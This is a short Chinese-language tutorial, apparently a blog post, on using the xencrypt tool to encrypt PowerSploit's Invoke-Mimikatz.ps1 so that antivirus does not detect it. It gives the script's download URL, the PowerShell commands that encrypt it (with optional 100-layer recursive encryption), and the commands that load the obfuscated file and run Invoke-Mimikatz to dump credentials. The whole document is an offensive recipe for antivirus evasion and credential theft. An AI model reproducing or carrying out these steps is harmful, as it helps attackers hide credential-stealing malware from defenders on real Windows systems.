通過xencrypt免殺invoke-mimikatz.ps1

0x01 簡介

xencrypt目前測試只在windows 2012 powershell下可正常使用，需要依賴原本的invoke-mimikatz.ps1，生成以後可多次使用。

0x02 使用

1、下載invoke-mimikatz.ps1到同級目錄下。
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

2、加密invoke-mimikatz.ps1。

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1

具體使用（生成一次可多次使用）：

Import-Module .\xenmimi.ps1
Invoke-Mimikatz

3、通過-Iterations標誌支持遞歸分層加密。

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

對應生成的加密ps文件體積也會增大。

具體使用（生成一次可多次使用）：

Import-Module .\xenmimi.ps1
Invoke-Mimikatz

0x03 參考

https://github.com/the-xentropy/xencrypt
https://amp.kitploit.com/2020/03/xencrypt-powershell-script-anti-virus.html?amp=1&m=1